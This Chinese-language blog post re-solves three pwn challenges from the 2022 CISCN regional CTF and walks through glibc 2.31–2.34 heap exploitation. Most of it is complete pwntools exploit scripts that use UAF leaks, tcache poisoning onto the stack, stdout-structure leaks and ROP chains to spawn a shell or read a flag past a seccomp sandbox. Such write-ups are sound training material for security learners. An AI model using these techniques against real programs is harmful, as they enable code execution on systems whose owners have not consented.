2022-ciscn-华东北赛区 pwn方向题目复现
一、前言
今天是2022年6月23日,距离国赛分区赛结束已经过了快一个周的时间,下午花了一个小时左右把最后一道远程没跑出来的题降低了需要爆破的概率跑通了,所以总结一下这次分区赛的题目,也能感觉到现在pwn方向已经是以2.31和2.34这种高版本libc为主流了。
二、复现
1、duck
glibc2.34版本,自复现完house of emma之后陆陆续续能在比赛中看到这个版本的赛题出现。这里简单讲一下glibc一些关键版本的变化吧:
- 2.27 版本引入了tcache,同时在2.27的高版本(1.4还是1.3有点记不清了)引入了bk字段的flag用来防止double free
- 2.29 版本unsorted bin、house of force、house of storm等利用手段失效,off by null的利用手段更为复杂,setcontext函数汇编代码中rdi寄存器寻址变为rdx寻址,可以通过如house of pig或找一段gadget来实现沙盒绕过(也可以直接用堆栈结合,感觉这个也挺方便)
- 2.32 加入了堆块fd的异或操作,想要利用需要通过如UAF等漏洞先泄露异或key
- 2.34 取消了malloc_hook 和 free_hook,可以通过打IO或者堆栈结合的方式完成getshell
然后回到程序,增删改查四项功能齐全,在delete功能里存在UAF漏洞如下图所示:
所以我们可以利用UAF漏洞分别泄露出异或key和libc基址,因为2.34版本移除了两个hook所以我们可以通过堆栈结合的方式getshell,利用刚才得到的libc地址算得environ地址来获得stack地址,并计算它和edit函数返回地址所在的stack地址偏移,计算完毕以后把这个地址链入tcache中,通过add让heap在stack段并构造ropchain,最终getshell。
import time
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
def menu(idx):
sla('Choice:',str(idx))
def add():
menu(1)
def edit(idx, con):
menu(4)
sla('Idx:',str(idx))
sla('Size:', str(0x100))
sa('Content: ',con)
def free(idx):
menu(2)
sla('Idx:',str(idx))
def show(idx):
menu(3)
sla('Idx:',str(idx))
p = process('./pwn')
libc = ELF('./libc.so.6')
# p = remote("192.168.166.171", 58013)
add()
add()
free(0)
show(0)
heap_key = u64(rud('\nDone')[-5:].ljust(8,'\x00'))<<12
success(hex(heap_key))
free(1)
edit(1, p64((heap_key>>12)^(heap_key+0x10)))
add() #2
add() #3
pl = p64(0)*(9)+'\x00'*6+'\x07'
edit(3, pl)
free(3)
show(3)
base = u64(rud('\nDone')[-6:].ljust(8, '\x00'))-0x1f2cc0
success(hex(base))
rdi = base+libc.search(asm("pop rdi;ret;")).next()
ret = base+0x000000000002cb99
system = base+libc.sym['system']
sh = base+libc.search('/bin/sh\x00').next()
environ = base+libc.sym['_environ']
pl = p64(0)*(3)+'\x00\x00'*3+'\x01\x00'
pl+= p64(0)*27+p64(environ)
edit(3, pl)
add() #4
show(4)
stack = u64(ru('\x7f')[-6:].ljust(8, '\x00'))-0x000138-0x30
success(hex(stack))
pl = p64(0)*(3)+'\x00\x00'*3+'\x01\x00'
pl+= p64(0)*27+p64(stack)
edit(3, pl)
add() #5
pl = p64(0)*3
pl+= p64(rdi)+p64(sh)+p64(ret)+p64(system)
edit(5, pl)
shell()
2、bigduck
跟上一道题一样,嗯libc版本低了成了2.33然后加了一个沙盒,但是只禁了execve所以很好绕过,因为刚才我们是通过堆栈结合的方式所以这里我们只需要修改最后的ropchain为orw即可。哦对了2.33这个mainarena的偏移结尾是零字符所以得分割一下堆块才能泄露出来,整体来说问题不大。
import time
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
def menu(idx):
sla('Choice:',str(idx))
def add():
menu(1)
def edit(idx, con):
menu(4)
sla('Idx:',str(idx))
sla('Size:', str(0x100))
sa('Content: ',con)
def free(idx):
menu(2)
sla('Idx:',str(idx))
def show(idx):
menu(3)
sla('Idx:',str(idx))
p = process('./pwn')
libc = ELF('./libc.so.6')
p = remote("192.168.166.171", 58011)
add()
add()
free(0)
show(0)
heap_key = u64(rud('\nDone')[-5:].ljust(8,'\x00'))<<12
success(hex(heap_key))
free(1)
edit(1, p64((heap_key>>12)^(heap_key+0x10)))
add() #2
add() #3
pl = p64(0)*(9)+'\x00'*6+'\x07'
edit(3, pl)
free(3)
show(3)
add() #4
show(4)
base = u64(rud('\nDone')[-6:].ljust(8, '\x00'))-0x1e0e80
success(hex(base))
rdi = base+libc.search(asm("pop rdi;ret;")).next()
environ = base+libc.sym['_environ']
pl = p64(0)*(3)+'\x00\x00'*3+'\x01\x00'
pl+= p64(0)*27+p64(environ)
edit(4, pl)
add() #5
show(5)
stack = u64(ru('\x7f')[-6:].ljust(8, '\x00'))-0x000138
success(hex(stack))
pl = p64(0)*(3)+'\x00\x00'*3+'\x01\x00'
pl+= p64(0)*27+p64(stack)
edit(4, pl)
add() #6
prdi = base+libc.search(asm('pop rdi;ret')).next()
prsi = base+libc.search(asm('pop rsi;ret')).next()
prdx = base+0x00000000000c7f32
dopen = base+libc.sym['open']
dread = base+libc.sym['read']
dwrite = base+libc.sym['write']
flag_addr = stack+0x10
pl = p64(0)*2
pl+= './flag\x00\x00'
pl+= p64(prdi)
pl+= p64(flag_addr)
pl+= p64(prsi)
pl+= p64(0)
pl+= p64(dopen)
pl+= p64(prdi)
pl+= p64(3)
pl+= p64(prsi)
pl+= p64(stack-0x200)
pl+= p64(prdx)
pl+= p64(0x50)
pl+= p64(dread)
pl+= p64(prdi)
pl+= p64(1)
pl+= p64(prsi)
pl+= p64(stack-0x200)
pl+= p64(prdx)
pl+= p64(0x50)
pl+= p64(dwrite)
edit(6, pl)
shell()
3、blue
2.31版本的libc存在沙盒,增删查功能齐全,输入666功能存在UAF漏洞只能使用一次,同时show功能也只能使用一次。其中UAF漏洞所在位置如下所示:
先说一下我在比赛时的做法:
首先利用输入未在末尾加零字符所以可以利用这一点泄露出libc地址并计算出environ地址,利用UAF漏洞控制tcache_pthread后同时将两个environ写入pthread的entries中,在malloc到environ地址的时候修改其中的地址末尾为add函数返回地址所在stack地址,这时我们写入的第二个environ地址则会变为返回地址,我们只要在把这块stack地址申请过来然后布置 orw的ropchain即可完成沙盒绕过。
此办法共涉及两个地方的爆破,一个是劫持tcache_pthread_struct的半个字节爆破,以及修改environ低地址的两个半字节,所以涉及到的随机概率是很高的,这也直接造成了再最后两个小时远程无法打通的情况。
今天下午想了一下解决的办法,其实很简单只要我们可以泄露出stack地址即可。泄露的方式是通过把IO_stdout链入tcache中然后通过修改flags=0xfbad1800,write_base=environ_address,write_ptr & write_end = environ_address+8
即可泄露stack地址,通过这种方式得到的最终exp只需要1/16概率即可爆破出来。
import time
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
def menu(idx):
sla('Choice: ',str(idx))
def add(size,con):
menu(1)
sla('Please input size:',str(size))
sa('Please input content:',con)
def free(idx):
menu(2)
sla('Please input idx:',str(idx))
def show(idx):
menu(3)
sla('Please input idx:',str(idx))
def doublefree(idx):
menu(666)
sla('Please input idx:',str(idx))
p = process('./pwn')
libc = ELF("./pwn").libc
def hack():
add(0x70, '1')
add(0x90, '1')
free(0)
free(1)
[add(0x90, '1') for i in range(9)]
[free(i) for i in range(8)]
[add(0x40, '0') for i in range(8)]
show(0)
base = u64(ru('\x7f')[-6:].ljust(8, '\x00'))-0x1ecc30
environ = base+libc.sym['environ']
stdout = base+libc.sym['_IO_2_1_stdout_']
success(hex(stdout))
[free(i) for i in range(7)]
doublefree(7)
add(0x40, '1')
free(7)
add(0x40, '\xb0\x00')
[add(0x40, '1') for i in range(8)]
add(0x40, p64(stdout)*2+'\xc0\x00') # pheap
pl = p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)*2
add(0x70, pl)
stack = u64(ru('\x7f')[-6:].ljust(8, '\x00'))-0x000120-8
success(hex(stack))
add(0x90, p64(stack)*10)
rdi = base+libc.search(asm("pop rdi;ret;")).next()
rsi = base+libc.search(asm("pop rsi;ret;")).next()
rdx = base+0x000000000015f7e6
dopen = base+libc.sym['open']
dread = base+libc.sym['read']
dwrite = base+libc.sym['write']
pl = './flag\x00\x00'
pl+= p64(rdi)
pl+= p64(stack)
pl+= p64(rsi)
pl+= p64(0)
pl+= p64(dopen)
pl+= p64(rdi)
pl+= p64(3)
pl+= p64(rsi)
pl+= p64(stack-0x100)
pl+= p64(rdx)
pl+= p64(0x50)
pl+= p64(0)
pl+= p64(dread)
pl+= p64(rdi)
pl+= p64(1)
pl+= p64(dwrite)
add(0x90, pl) # stack
while(1):
try:
p = process('./pwn')
hack()
break
except:
close()
shell()
三、总结
本周也正式入职开始了实习生活,每天都有在接触学习新的领域的知识,过得很充实,但是难免还是会想起这次国赛的整个经过,只能说是尽力了但是又满是遗憾的一次,华东北分区赛华东北赛区一共三道pwn题,比赛期间我只做出了其中的两道,第三道虽然本地打通了但是因为当时的解法导致总共需要爆破四位随机地址,当时本地打通时还剩下两个小时,但是自己因为本地打通了却没有考虑过优化降低爆破的几率,最终也导致了没有解出这道600分的题目。然后在今天下午的时候心有不甘开始想应该如何降低爆破的几率,其实最大的问题就是泄露栈地址这个问题,把这步解决了其实只需要1/16的概率就能出来了。
写这篇blog的初衷,是希望可以让社团的下一届学弟们能在未来复现的时候有个参考,莫要走了我的老路钻牛角尖,也希望他们能在马上到来的大二生活里可以有新的收获和成长。glibc在实战中基本上没有什么利用场景,但是CTF却一直都是主流出题方向,所以这是一个很难抉择的问题,只能说还是看个人吧想多拿点奖可以深入学学,但是一定不要陷的太深,不要沉浸在能做出来很多glibc题目的那种感觉里,多去做一些漏洞的复现,跳出ctf这个圈子你会发现更广阔的光景。